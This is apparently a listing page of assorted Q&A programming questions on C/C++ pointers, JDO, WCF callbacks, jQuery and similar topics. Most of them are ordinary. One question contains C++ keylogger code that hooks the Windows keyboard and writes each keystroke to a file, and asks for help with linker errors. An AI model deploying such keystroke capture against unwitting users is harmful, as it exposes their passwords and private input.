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  • Should this work?

    - by Noah Roberts
    I am trying to specialize a metafunction upon a type that has a function pointer as one of its parameters. The code compiles just fine but it will simply not match the type. #include <iostream> #include <boost/mpl/bool.hpp> #include <boost/mpl/identity.hpp> template < typename CONT, typename NAME, typename TYPE, TYPE (CONT::*getter)() const, void (CONT::*setter)(TYPE const&) > struct metafield_fun {}; struct test_field {}; struct test { int testing() const { return 5; } void testing(int const&) {} }; template < typename T > struct field_writable : boost::mpl::identity<T> {}; template < typename CONT, typename NAME, typename TYPE, TYPE (CONT::*getter)() const > struct field_writable< metafield_fun<CONT,NAME,TYPE,getter,0> > : boost::mpl::false_ {}; typedef metafield_fun<test, test_field, int, &test::testing, 0> unwritable; int main() { std::cout << typeid(field_writable<unwritable>::type).name() << std::endl; std::cin.get(); } Output is always the type passed in, never bool_.

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  • Array's index and argc signedness

    - by tusbar
    Hello, The C standard (5.1.2.2.1 Program startup) says: The function called at program startup is named main. [...] It shall be de?ned with a return type of int and with no parameters: int main(void) { /* ... */ } or with two parameters [...] : int main(int argc, char *argv[]) { /* ... */ } And later says: The value of argc shall be nonnegative. Why shouldn't argc be defined as an unsigned int, argc supposedly meaning 'argument count'? Should argc be used as an index for argv? So I started wondering if the C standard says something about the type of array's index. Is it signed? 6.5.2.1 Array subscripting: One of the expressions shall have type ‘‘pointer to object type’’, the other expression shall have integer type, and the result has type ‘‘type’’. It doesn't say anything about its signedness (or I didn't find it). It is pretty common to see codes using negatives array indexes (array[-1]) but isn't it undefined behavior? Should array's indexes be unsigned?

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  • jQuery AJAX tabs + PHP

    - by ufw
    Hi, seems like I'm stuck with jQuery tabs. I'm trying to pass selected tab name to some php script but is seems like it doesn't get any data. This is how tabs normally work without any response from server side: http://pastebin.com/KBxj7p5k And this is how I try to pass the the current tab name to the server: $(document).ready(function() { $('ul.tabs li').css('cursor', 'pointer'); $('ul.tabs.tabs1 li').click(function(){ var thisClass = this.className.slice(0,2); $('div.t1').hide(); $('div.t2').hide(); $('div.t3').hide(); $('div.t4').hide(); $('div.' + thisClass).show('fast'); $('ul.tabs.tabs1 li').removeClass('tab-current'); $(this).addClass('tab-current'); var name = thisClass; var data = 'name='+name; $.ajax ({ type:"GET", url:"handler.php", data:data, success:function(html) { thisClass.html(html); } }); }); Thanks.

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  • How can multiple variables be passed to a function cleanly in C?

    - by aquanar
    I am working on an embedded system that has different output capabilities (digital out, serial, analog, etc). I am trying to figure out a clean way to pass many of the variables that will control those functions. I don't need to pass ALL of them too often, but I was hoping to have a function that would read the input data (in this case from a TCP network), and then parse the data (IE, the 3rd byte contains the states of 8 of the digital outputs (according to which bit in that byte is high or low)), and put that into a variable where I can then use elsewhere in the program. I wanted that function to be separate from the main() function, but to do so would require passing pointers to some 20 or so variables that it would be writing to. I know I could make the variables global, but I am trying to make it easier to debug by making it obvious when a function is allowed to edit that variable, by passing it to the function. My best idea was a struct, and just pass a pointer to it, but wasn't sure if there was a more efficient way, especially since there is only really 1 function that would need to access all of them at once, while most others only require parts of the information that will be stored in this bunch of state variables. So anyway, is there a clean way to send many variables between functions at once that need to be edited?

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  • Problem detaching entire object graph in GAE-J with JDO

    - by tempy
    I am trying to load the full object graph for User, which contains a collection of decks, which then contains a collection of cards, as such: User: @PersistenceCapable(detachable = "true") @Inheritance(strategy = InheritanceStrategy.SUBCLASS_TABLE) @FetchGroup(name = "decks", members = { @Persistent(name = "_Decks") }) public abstract class User { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) protected Key _ID; @Persistent protected String _UniqueIdentifier; @Persistent(mappedBy = "_Owner") @Element(dependent = "true") protected Set<Deck> _Decks; protected User() { } } Each Deck has a collection of Cards, as such: @PersistenceCapable(detachable = "true") @FetchGroup(name = "cards", members = { @Persistent(name = "_Cards") }) public class Deck { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) private Key _ID; @Persistent String _Name; @Persistent(mappedBy = "_Parent") @Element(dependent = "true") private Set<Card> _Cards = new HashSet<Card>(); @Persistent private Set<String> _Tags = new HashSet<String>(); @Persistent private User _Owner; } And finally, each card: @PersistenceCapable public class Card { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) private Key _ID; @Persistent private Text _Question; @Persistent private Text _Answer; @Persistent private Deck _Parent; } I am trying to retrieve and then detach the entire object graph. I can see in the debugger that it loads fine, but then when I get to detaching, I can't make anything beyond the User object load. (No Decks, no Cards). At first I tried without a transaction to simply "touch" all the fields on the attached object before detaching, but that didn't help. Then I tried adding everything to the default fetch group, but that just generated warnings about GAE not supporting joins. I tried setting the fetch plan's max fetch depth to -1, but that didn't do it. Finally, I tried using FetchGroups as you can see above, and then retrieving with the following code: PersistenceManager pm = _pmf.getPersistenceManager(); pm.setDetachAllOnCommit(true); pm.getFetchPlan().setGroup("decks"); pm.getFetchPlan().setGroup("cards"); Transaction tx = pm.currentTransaction(); Query query = null; try { tx.begin(); query = pm.newQuery(GoogleAccountsUser.class); //Subclass of User query.setFilter("_UniqueIdentifier == TheUser"); query.declareParameters("String TheUser"); List<User> results = (List<User>)query.execute(ID); //ID = Supplied parameter //TODO: Test for more than one result and throw if(results.size() == 0) { tx.commit(); return null; } else { User usr = (User)results.get(0); //usr = pm.detachCopy(usr); tx.commit(); return usr; } } finally { query.closeAll(); if (tx.isActive()) { tx.rollback(); } pm.close(); } This also doesn't work, and I'm running out of ideas...

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  • C struct written in file, open with Java

    - by DaunnC
    For example in C I have structure: typedef struct { int number; double x1; double y1; double x2; double y2; double x3; double y3; } CTRstruct;` Then I write it to file fwrite(&tr, 1, sizeof(tr), fp); (tr - its CTRstruct var, fp - File pointer); Then I need to read it with Java! I really don't know how to read struct from file... I tried to read it with ObjectInputStream(), last idea is to read with RandomAccessFile() but I also don't know how to... (readLong(), readDouble() also doesn't work, it works ofcource but doesn't read correct data). So, any idea how to read C struct from binary file with Java? If it's interesting, my version to read integer (but it's ugly, & I don't know what to do with double): public class MyDataInputStream extends DataInputStream{ public MyDataInputStream(InputStream AIs) { super(AIs); } public int readInt1() throws IOException{ int ch1 = in.read(); int ch2 = in.read(); int ch3 = in.read(); int ch4 = in.read(); if ((ch1 | ch2 | ch3 | ch4) < 0) throw new EOFException(); return ((ch4 << 24) + (ch3 << 16) + (ch2 << 8) + (ch1 << 0)); } with double we can deal the same way (like with int or with long (8bytes) & then convert to double with native func).

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  • Greasemonkey script, that creates Kineticjs drag and drop canvas over every website

    - by Michael Moeller
    I'd like to put a drag and drop canvas over every website I visit in Firefox. My Greasemonkey script puts a drag and drop canvas under every page: kinetic.user.js: // ==UserScript== // @name kineticjs_example // @description Canvas Drag and Drop // @include * // @require http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js // @require http://d3lp1msu2r81bx.cloudfront.net/kjs/js/lib/kinetic-v4.7.2.min.js // ==/UserScript== var div = document.createElement( 'div' ); with( div ) { setAttribute( 'id', 'container' ); } // append at end document.getElementsByTagName( 'body' )[ 0 ].appendChild( div ); var stage = new Kinetic.Stage({ container: 'container', width: 1000, height: 1000 }); var layer = new Kinetic.Layer(); var rectX = stage.getWidth() / 2 - 50; var rectY = stage.getHeight() / 2 - 25; var box = new Kinetic.Rect({ x: rectX, y: rectY, width: 100, height: 50, fill: '#00D2FF', stroke: 'black', strokeWidth: 4, draggable: true }); // add cursor styling box.on('mouseover', function() { document.body.style.cursor = 'pointer'; }); box.on('mouseout', function() { document.body.style.cursor = 'default'; }); layer.add(box); stage.add(layer); How can I drag and drop this shape over the entire website?

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  • Time taken for memcpy decreases after certain point

    - by tss
    I ve a code which increases the size of the memory(identified by a pointer) exponentially. Instead of realloc, I use malloc followed by memcpy.. Something like this.. int size=5,newsize; int *c = malloc(size*sizeof(int)); int *temp; while(1) { newsize=2*size; //begin time temp=malloc(newsize*sizeof(int)); memcpy(temp,c,size*sizeof(int)); //end time //print time in mili seconds c=temp; size=newsize; } Thus the number of bytes getting copied is increasing exponentially. The time required for this task also increases almost linearly with the increase in size. However after certain point, the time taken abruptly reduces to a very small value and then remains constant. I recorded time for similar code, copyin data(Of my own type) 5 -> 10 - 2 ms 10 -> 20 - 2 ms . . 2560 -> 5120 - 5 ms . . 20480 -> 40960 - 30 ms 40960 -> 91920 - 58 ms 367680 -> 735360 - 2 ms 735360 -> 1470720 - 2 ms 1470720 -> 2941440 - 2 ms What is the reason for this drop in time ? Does a more optimal memcpy method get called when the size is large ?

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  • Java deadlock problem....

    - by markovuksanovic
    I am using java sockets for communication. On the client side I have some processing and at this point I send an object to the cient. The code is as follows: while (true) { try { Socket server = new Socket("localhost", 3000); OutputStream os = server.getOutputStream(); InputStream is = server.getInputStream(); CommMessage commMessage = new CommMessageImpl(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(commMessage); os.write(bos.toByteArray()); os.flush(); byte[] buff = new byte[512]; int bytesRead = 0; ByteArrayOutputStream receivedObject = new ByteArrayOutputStream(); while ((bytesRead = is.read(buff)) > -1) { receivedObject.write(buff, 0, bytesRead); System.out.println(receivedObject); } os.close(); Thread.sleep(10000); } catch (IOException e) { } catch (InterruptedException e) { } } Next on the server side I have the following code to read the object and write the response (Which is just an echo message) public void startServer() { Socket client = null; try { server = new ServerSocket(3000); logger.log(Level.INFO, "Waiting for connections."); client = server.accept(); logger.log(Level.INFO, "Accepted a connection from: " + client.getInetAddress()); os = new ObjectOutputStream(client.getOutputStream()); is = new ObjectInputStream(client.getInputStream()); // Read contents of the stream and store it into a byte array. byte[] buff = new byte[512]; int bytesRead = 0; ByteArrayOutputStream receivedObject = new ByteArrayOutputStream(); while ((bytesRead = is.read(buff)) > -1) { receivedObject.write(buff, 0, bytesRead); } // Check if received stream is CommMessage or not contents. CommMessage commMessage = getCommMessage(receivedObject); if (commMessage != null) { commMessage.setSessionState(this.sessionManager.getState().getState()); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(commMessage); os.write(bos.toByteArray()); System.out.println(commMessage.getCommMessageType()); } else { processData(receivedObject, this.sessionManager); } os.flush(); } catch (IOException e) { } finally { try { is.close(); os.close(); client.close(); server.close(); } catch (IOException e) { } } } The above code works ok if I do not try to read data on the client side (If i exclude the code related to reading). But if I have that code, for some reason, I get some kind of deadlock when accessing input streams. Any ideas what I might have done wrong? Thanks in advance.

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  • I have a bunch of template parameters that I want to hide from my users. How can I do this?

    - by Alex
    I have a superclass which is defined in terms of a few internal types it uses. Subclassing is performed as so: template <class InternalType1, class InternalType2> class Super { ... } class Sub : Super <interalTypeClass1, interalTypeClass2> { ... } But when I want to write a function that takes a pointer to the superclass, this happens : template <class InternalType1, class InternalType2> void function(Super<InternalType1, InternalType2>* in) { ... } The user really shouldn't know anything about the inside classes, and should really just concern himself with the use of the function. Some of these template lists become very very large, and expecting the user to pass them every time is wasteful, in my opinion. Any suggestions? EDIT: The function needs to know the internal types in use, so unless there is a way to access template types at compile time, I think there is no solution? Potential solution: Have each class do the following: #define SubTemplateArgs <SubTypeName, SubInternalType1, SubInternalType2> ?

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  • How can I modify the value of a string defined in a struct?

    - by Eric
    Hi, I have the following code in c++: #define TAM 4000 #define NUMPAGS 512 struct pagina { bitset<12> direccion; char operacion; char permiso; string *dato; int numero; }; void crearPagina(pagina* pag[], int pos, int dir) { pagina * paginas = (pagina*)malloc(sizeof(char) * TAM); paginas -> direccion = bitset<12> (dir); paginas -> operacion = 'n'; paginas -> permiso = 'n'; string **tempDato = &paginas -> dato; char *temp = " "; **tempDato = temp; paginas -> numero = 0; pag[pos] = paginas; } I want to modify the value of the variable called "string *dato" in the struct pagina but, everytime I want to assing a new value, the compiler throws a segmentation fault. In this case I'm using a pointer to string, but I have also tried with a string. In a few words I want to do the following: pagina - dato = "test"; Any idea? Thanks in advance!!!

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  • Importing a C DLL's functions into a C++ program

    - by bobobobo
    I have a 3rd party library that's written in C. It exports all of its functions to a DLL. I have the .h file, and I'm trying to load the DLL from my C++ program. The first thing I tried was surrounding the parts where I #include the 3rd party lib in #ifdef __cplusplus extern "C" { #endif and, at the end #ifdef __cplusplus } // extern "C" #endif But the problem there was, all of the DLL file function linkage looked like this in their header files: a_function = (void *)GetProcAddress(dll, "a_function"); While really a_function had type int (*a_function) (int *). Apparently MSVC++ compiler doesn't like this, while MSVC compiler does not seem to mind. So I went through (brutal torture) and fixed them all to the pattern typedef int (*_a_function) (int *); _a_function a_function ; Then, to link it to the DLL code, in main(): a_function = (_a_function)GetProcAddress(dll, "a_function"); This SEEMS to make the compiler MUCH, MUCH happier, but it STILL complains with this final set of 143 errors, each saying for each of the DLL link attempts: error LNK2005: _a_function already defined in main.obj main.obj Multiple symbol definition errors.. sounds like a job for extern! SO I went and made ALL the function pointer declarations as follows: function_pointers.h typedef int (*_a_function) (int *); extern _a_function a_function ; And in a cpp file: function_pointers.cpp #include "function_pointers.h" _a_function a_function ; ALL fine and dandy.. except for linker errors now of the form: error LNK2001: unresolved external symbol _a_function main.obj Main.cpp includes "function_pointers.h", so it should know where to find each of the functions.. I am bamboozled. Does any one have any pointers to get me functional? (Pardon the pun..)

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  • Alignment for image display on hover works only in IE7?

    - by Ram
    Hello, I tried to display a image when a mouseover on text occurs. It works fine. And the alignment of the image should be shown such that the end of the image should be at the container. It works fine with the code shown below, Only in IE7. In everything, it gets chopped off.. What is wrong here? <td valign="middle" class="table_td td" style="width: 347px"> <span class="feature_text" style="cursor:pointer" onmouseover="ShowPicture('Style16',1)" onmouseout="ShowPicture('Style16',0)" id="a16"> Storefront Window Decal</span> <div id="Style16" style="position:relative;height:0px;left:50%;bottom:700%; visibility:hidden; border:solid 0px #CCC; padding:5px"> <img src="images/window-decal-image.gif"></div> <script language="javascript" type="text/javascript"> function ShowPicture(id,Source) { var vis, elem; if (1 == Source) { vis = "visible"; } else if (0 == Source) { vis = "hidden"; } else { throw new RangeError("Unknown Flag"); } if (elem = document.getElementById(id)) { elem.style.visibility = vis; } else { throw new TypeError("Element with id '"+id+"' does not exist."); } return vis; } </script> Can someone help me out. Thanks in advance!!

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  • How to properly assign a value to the member of a struct that has a class data type?

    - by sasayins
    Hi, Please kindly see below for the codes. Its compiling successfully but the expected result is not working. Im very confused because my initialization of the array is valid, //cbar.h class CBar { public: class CFoo { public: CFoo( int v ) : m_val = v {} int GetVal() { return m_val; } private: int m_val; }; public: static const CFoo foo1; static const CFoo foo2; public: CBar( CFoo foo ) m_barval( foo.GetVal() ){} int GetFooVal() { return m_barval; } private: int m_barval; }; //cbar.cpp const CBar::CFoo foo1 = CBar::CFoo(2); const CBar::CFoo foo2 = CBar::CFoo(3); //main.cpp struct St { CBar::CFoo foo; }; St st[] = { CBar::foo1, CBar::foo2 }; for( int i=0; i<sizeof(st)/sizeof(St); i++ ) { CBar cbar( st[i].foo ); std::cout << cbar.GetFooVal() << std::endl; } But then when I change the St::foo to a pointer. And like assign the address of CBar::foo1 or CBar::foo2, its working, like this, //main.cpp struct St { const CBar::CFoo *foo; }; St st[] = { &CBar::foo1, &CBar::foo2 }; for( int i=0; i<sizeof(st)/sizeof(St); i++ ) { CBar cbar( *st[i].foo ); std::cout << cbar.GetFooVal() << std::endl; } The real problem is. The app should output 2 3 Please advice. Many thanks.

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  • C# why unit test has this strange behaviour?

    - by 5YrsLaterDBA
    I have a class to encrypt the connectionString. public class SKM { private string connStrName = "AndeDBEntities"; internal void encryptConnStr() { if(isConnStrEncrypted()) return; ... } private bool isConnStrEncrypted() { bool status = false; // Open app.config of executable. System.Configuration.Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None); // Get the connection string from the app.config file. string connStr = config.ConnectionStrings.ConnectionStrings[connStrName].ConnectionString; status = !(connStr.Contains("provider")); Log.logItem(LogType.DebugDevelopment, "isConnStrEncrypted", "SKM::isConnStrEncrypted()", "isConnStrEncrypted=" + status); return status; } } Above code works fine in my application. But not in my unit test project. In my unit test project, I test the encryptConnStr() method. it will call isConnStrEncrypted() method. Then exception (null pointer) will be thrown at this line: string connStr = config.ConnectionStrings.ConnectionStrings[connStrName].ConnectionString; I have to use index like this to pass the unit test: string connStr = config.ConnectionStrings.ConnectionStrings[0].ConnectionString; I remember it worked several days ago at the time I added above unit test. But now it give me an error. The unit test is not integrated with our daily auto build yet. We only have ONE connectionStr. It works with product but not in unit test. Don't know why. Anybody can explain to me?

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  • unicode convertion problem

    - by bhoomi-nature
    Hai frnds i am bhoomi new to php,i am having having below problem in my coding please can you help anyone 1.first i want to open one word document which is having content and i wann to edit it 2.for that i am opening word document from the server and at that time its opening with garbage value(i thing its not converting to utf8 format) 3.wen i delete that garbage value and insert something from textarea to that file it is going to insert and next time onwords its its getting open properly. 4.actually i wann that doc file should open with english words wats there in that doc instead of garbage value..first time opening only its giving problem. i am using below code for that please do the needful $filename = 'test.doc'; if(isset($_REQUEST['Submit'])){ $somecontent = stripslashes($_POST['somecontent']); // Let's make sure the file exists and is writable first. if (is_writable($filename)) { // In our example we're opening $filename in append mode. // The file pointer is at the bottom of the file hence // that's where $somecontent will go when we fwrite() it. if (!$handle = fopen($filename, 'w')) { echo "Cannot open file ($filename)"; exit; } // Write $somecontent to our opened file. if (fwrite($handle, $somecontent) === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote ($somecontent) to file ($filename) - Continue - "; fclose($handle); } else { echo "The file $filename is not writable"; } } else{ // get contents of a file into a string $handle = fopen($filename, 'r'); $somecontent = fread($handle, filesize($filename)); ? Edit file

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  • Nested bind expressions

    - by user328543
    This is a followup question to my previous question. #include <functional> int foo(void) {return 2;} class bar { public: int operator() (void) {return 3;}; int something(int a) {return a;}; }; template <class C> auto func(C&& c) -> decltype(c()) { return c(); } template <class C> int doit(C&& c) { return c();} template <class C> void func_wrapper(C&& c) { func( std::bind(doit<C>, std::forward<C>(c)) ); } int main(int argc, char* argv[]) { // call with a function pointer func(foo); func_wrapper(foo); // error // call with a member function bar b; func(b); func_wrapper(b); // call with a bind expression func(std::bind(&bar::something, b, 42)); func_wrapper(std::bind(&bar::something, b, 42)); // error // call with a lambda expression func( [](void)->int {return 42;} ); func_wrapper( [](void)->int {return 42;} ); return 0; } I'm getting a compile errors deep in the C++ headers: functional:1137: error: invalid initialization of reference of type ‘int (&)()’ from expression of type ‘int (*)()’ functional:1137: error: conversion from ‘int’ to non-scalar type ‘std::_Bind(bar, int)’ requested func_wrapper(foo) is supposed to execute func(doit(foo)). In the real code it packages the function for a thread to execute. func would the function executed by the other thread, doit sits in between to check for unhandled exceptions and to clean up. But the additional bind in func_wrapper messes things up...

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  • What does an object look like in memory?

    - by NeilMonday
    This is probably a really dumb question, but I will ask anyway. I am curious what an object looks like in memory. Obviously it would have to have all of its member data in it. I assume that functions for an object would not be duplicated in memory (or maybe I am wrong?). It would seem wasteful to have 999 objects in memory all with the same function defined over and over. If there is only 1 function in memory for all 999 objects, then how does each function know who's member data to modify (I specifically want to know at the low level). Is there an object pointer that gets sent to the function behind the scenes? Perhaps it is different for every compiler? Also, how does the static keyword affect this? With static member data, I would think that all 999 objects would use the exact same memory location for their static member data. Where does this get stored? Static functions I guess would also just be one place in memory, and would not have to interact with instantiated objects, which I think I understand.

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  • std::map keys in C++

    - by Soumava
    I have a requirement to create two different maps in C++. The Key is of type CHAR * and the Value is a pointer to a struct. I am filling 2 maps with these pairs, in separate iterations. After creating both maps I need find all such instances in which the value of the string referenced by the CHAR * are same. For this i am using the following code : typedef struct _STRUCTTYPE { .. } STRUCTTYPE, *PSTRUCTTYPE; typedef pair {CHAR *,PSTRUCTTYPE} kvpair; .. CHAR *xyz; PSTRUCTTYPE abc; after filling the information; Map.insert (kvpair(xyz,abc)); the above is repeated x times for the first map, and y times for the second map. after both are filled out; std::map {CHAR *, PSTRUCTTYPE} :: iterator Iter,findIter; for (Iter=iteratedMap-begin();Iter!=iteratedMap-end();mapIterator++) { char *key = Iter-first; printf("%s\n",key); findIter=otherMap-find(key); //printf("%u",findIter-second); if (findIter!=otherMap-end()) { printf("Match!\n"); } } The above code does not show any match, although the list of keys in both maps show obvious matches. My understanding is that the equals operator for CHAR * just equates the memory address of the pointers. My question is, what should i do to alter the equals operator for this type of key or could I use a different datatype for the string? *note : {} has been used instead of angle brackets as the content inside angle brackets was not showing up in the post.

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  • returning a pointed to an object within a std::vector

    - by memC
    I have a very basic question on returning a reference to an element of a vector . There is a vector vec that stores instances of class Foo. I want to access an element from this vector . ( don't want to use the vector index) . How should I code the method getFoo here? #include<vector> #include<stdio.h> #include<iostream> #include<math.h> using namespace std; class Foo { public: Foo(){}; ~Foo(){}; }; class B { public: vector<Foo> vec; Foo* getFoo(); B(){}; ~B(){}; }; Foo* B::getFoo(){ int i; vec.push_back(Foo()); i = vec.size() - 1; // how to return a pointer to vec[i] ?? return vec.at(i); }; int main(){ B b; b = B(); int i = 0; for (i = 0; i < 5; i ++){ b.getFoo(); } return 0; }

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  • Calling fuctions of header file

    - by navinbecse
    i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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  • operator overloading and inheritance

    - by user168715
    I was given the following code: class FibHeapNode { //... // These all have trivial implementation virtual void operator =(FibHeapNode& RHS); virtual int operator ==(FibHeapNode& RHS); virtual int operator <(FibHeapNode& RHS); }; class Event : public FibHeapNode { // These have nontrivial implementation virtual void operator=(FibHeapNode& RHS); virtual int operator==(FibHeapNode& RHS); virtual int operator<(FibHeapNode& RHS); }; class FibHeap { //... int DecreaseKey(FibHeapNode *theNode, FibHeapNode& NewKey) { FibHeapNode *theParent; // Some code if (theParent != NULL && *theNode < *theParent) { //... } //... return 1; } }; Much of FibHeap's implementation is similar: FibHeapNode pointers are dereferenced and then compared. Why does this code work? (or is it buggy?) I would think that the virtuals here would have no effect: since *theNode and *theParent aren't pointer or reference types, no dynamic dispatch occurs and FibHeapNode::operator< gets called no matter what's written in Event.

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  • Serious problem with WCF, GridViews, Callbacks and ExecuteReaders exceptions.

    - by barjed
    Hi, I have this problem that is driving me insane. I have a project to deliver before Thursday. Basically an app consiting of three components that communicate with each other in WCF. I have one console app and one Windows Forms app. The console app is a server that's connected to the database. You can add records to it via the Windows Forms client that connectes with the server through the WCF. The code for the client: namespace BankAdministratorClient { [CallbackBehavior(ConcurrencyMode = ConcurrencyMode.Single, UseSynchronizationContext = false)] public partial class Form1 : Form, BankServverReference.BankServerCallback { private BankServverReference.BankServerClient server = null; private SynchronizationContext interfaceContext = null; public Form1() { InitializeComponent(); interfaceContext = SynchronizationContext.Current; server = new BankServverReference.BankServerClient(new InstanceContext(this), "TcpBinding"); server.Open(); server.Subscribe(); refreshGridView(""); } public void refreshClients(string s) { SendOrPostCallback callback = delegate(object state) { refreshGridView(s); }; interfaceContext.Post(callback, s); } public void refreshGridView(string s) { try { userGrid.DataSource = server.refreshDatabaseConnection().Tables[0]; } catch (Exception ex) { MessageBox.Show(ex.ToString()); } } private void buttonAdd_Click(object sender, EventArgs e) { server.addNewAccount(Int32.Parse(inputPIN.Text), Int32.Parse(inputBalance.Text)); } private void Form1_FormClosing(object sender, FormClosingEventArgs e) { try { server.Unsubscribe(); server.Close(); }catch{} } } } The code for the server: namespace SSRfinal_tcp { class Program { static void Main(string[] args) { Console.WriteLine(MessageHandler.dataStamp("The server is starting up")); using (ServiceHost server = new ServiceHost(typeof(BankServer))) { server.Open(); Console.WriteLine(MessageHandler.dataStamp("The server is running")); Console.ReadKey(); } } } [ServiceBehavior(ConcurrencyMode = ConcurrencyMode.Single, InstanceContextMode = InstanceContextMode.PerCall, IncludeExceptionDetailInFaults = true)] public class BankServer : IBankServerService { private static DatabaseLINQConnectionDataContext database = new DatabaseLINQConnectionDataContext(); private static List<IBankServerServiceCallback> subscribers = new List<IBankServerServiceCallback>(); public void Subscribe() { try { IBankServerServiceCallback callback = OperationContext.Current.GetCallbackChannel<IBankServerServiceCallback>(); if (!subscribers.Contains(callback)) subscribers.Add(callback); Console.WriteLine(MessageHandler.dataStamp("A new Bank Administrator has connected")); } catch { Console.WriteLine(MessageHandler.dataStamp("A Bank Administrator has failed to connect")); } } public void Unsubscribe() { try { IBankServerServiceCallback callback = OperationContext.Current.GetCallbackChannel<IBankServerServiceCallback>(); if (subscribers.Contains(callback)) subscribers.Remove(callback); Console.WriteLine(MessageHandler.dataStamp("A Bank Administrator has been signed out from the connection list")); } catch { Console.WriteLine(MessageHandler.dataStamp("A Bank Administrator has failed to sign out from the connection list")); } } public DataSet refreshDatabaseConnection() { var q = from a in database.GetTable<Account>() select a; DataTable dt = q.toTable(rec => new object[] { q }); DataSet data = new DataSet(); data.Tables.Add(dt); Console.WriteLine(MessageHandler.dataStamp("A Bank Administrator has requested a database data listing refresh")); return data; } public void addNewAccount(int pin, int balance) { Account acc = new Account() { PIN = pin, Balance = balance, IsApproved = false }; database.Accounts.InsertOnSubmit(acc); database.SubmitChanges(); database.addNewAccount(pin, balance, false); subscribers.ForEach(delegate(IBankServerServiceCallback callback) { callback.refreshClients("New operation is pending approval."); }); } } } This is really simple and it works for a single window. However, when you open multiple instances of the client window and try to add a new record, the windows that is performing the insert operation crashes with the ExecuteReader error and the " requires an open and available connection. the connection's current state is connecting" bla bla stuff. I have no idea what's going on. Please advise.

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  • C++ Simple thread with parameter (no .net)

    - by Marc Vollmer
    I've searched the internet for a while now and found different solutions but then all don't really work or are to complicated for my use. I used C++ until 2 years ago so it might be a bit rusty :D I'm currently writing a program that posts data to an URL. It only posts the data nothing else. For posting the data I use curl, but it blocks the main thread and while the first post is still running there will be a second post that should start. In the end there are about 5-6 post operations running at the same time. Now I want to push the posting with curl into another thread. One thread per post. The thread should get a string parameter with the content what to push. I'm currently stuck on this. Tried the WINAPI for windows but that crashes on reading the parameter. (the second thread is still running in my example while the main thread ended (waiting on system("pause")). It would be nice to have a multi plattform solution, because it will run under windows and linux! Heres my current code: #define CURL_STATICLIB #include <curl/curl.h> #include <curl/easy.h> #include <cstdlib> #include <iostream> #include <stdio.h> #include <stdlib.h> #include <string> #if defined(WIN32) #include <windows.h> #else //#include <pthread.h> #endif using namespace std; void post(string post) { // Function to post it to url CURL *curl; // curl object CURLcode res; // CURLcode object curl = curl_easy_init(); // init curl if(curl) { // is curl init curl_easy_setopt(curl, CURLOPT_URL, "http://10.8.27.101/api.aspx"); // set url string data = "api=" + post; // concat post data strings curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str()); // post data res = curl_easy_perform(curl); // execute curl_easy_cleanup(curl); // cleanup } else { cerr << "Failed to create curl handle!\n"; } } #if defined(WIN32) DWORD WINAPI thread(LPVOID data) { // WINAPI Thread string pData = *((string*)data); // convert LPVOID to string [THIS FAILES] post(pData); // post it with curl } #else // Linux version #endif void startThread(string data) { // FUnction to start the thread string pData = data; // some Test #if defined(WIN32) CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)thread, &pData, 0, NULL); // Start a Windows thread with winapi #else // Linux version #endif } int main(int argc, char *argv[]) { // The post data to send string postData = "test1234567890"; startThread(postData); // Start the thread system("PAUSE"); // Dont close the console window return EXIT_SUCCESS; } Has anyone a suggestion? Thanks for the help!

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  • opening word document contailning macros using textarea

    - by avani-nature
